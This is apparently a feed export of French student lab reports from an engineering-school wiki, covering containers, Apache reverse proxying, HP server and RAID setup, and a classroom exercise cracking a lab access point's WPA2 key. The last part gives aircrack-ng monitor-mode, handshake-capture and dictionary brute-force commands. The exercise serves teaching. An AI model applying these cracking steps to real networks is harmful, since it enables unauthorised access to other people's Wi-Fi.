         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;br /&gt;
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Ifconfig.png|center]]&lt;br /&gt;
&lt;br /&gt;
Dans notre cas elle s'appelle wlp3s0.&lt;br /&gt;
&lt;br /&gt;
On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :&lt;br /&gt;
&lt;br /&gt;
  ifconfig wlp3s0 down&lt;br /&gt;
&lt;br /&gt;
On place la carte en &amp;quot;monitor mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlp3s0&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que l'interface est bien en monitor mode avec airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airmonng.png|center]]&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airodump.png|center]]&lt;br /&gt;
&lt;br /&gt;
De ce scan, nous tirons plusieurs informations : &lt;br /&gt;
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.&lt;br /&gt;
-Nous notons son BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
-Son channel : 9&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Handshake2.png|center]]&lt;br /&gt;
&lt;br /&gt;
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.&lt;br /&gt;
&lt;br /&gt;
La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  int main() {&lt;br /&gt;
  	for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
  		printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  	}&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gcc -o dico dico.c&lt;br /&gt;
  ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.&lt;br /&gt;
&lt;br /&gt;
Le brute-force peut maintenant commencer :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt&lt;br /&gt;
&lt;br /&gt;
Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Keyfound.png|center]]&lt;br /&gt;
&lt;br /&gt;
L'image ci dessus nous montre enfin la clé WPA de cracotte04.&lt;br /&gt;
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Handshake2.png&amp;diff=48590</id>
		<title>Fichier:Handshake2.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Handshake2.png&amp;diff=48590"/>
				<updated>2018-12-11T14:29:37Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48556</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48556"/>
				<updated>2018-12-10T23:13:12Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Crack de réseau Wifi WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
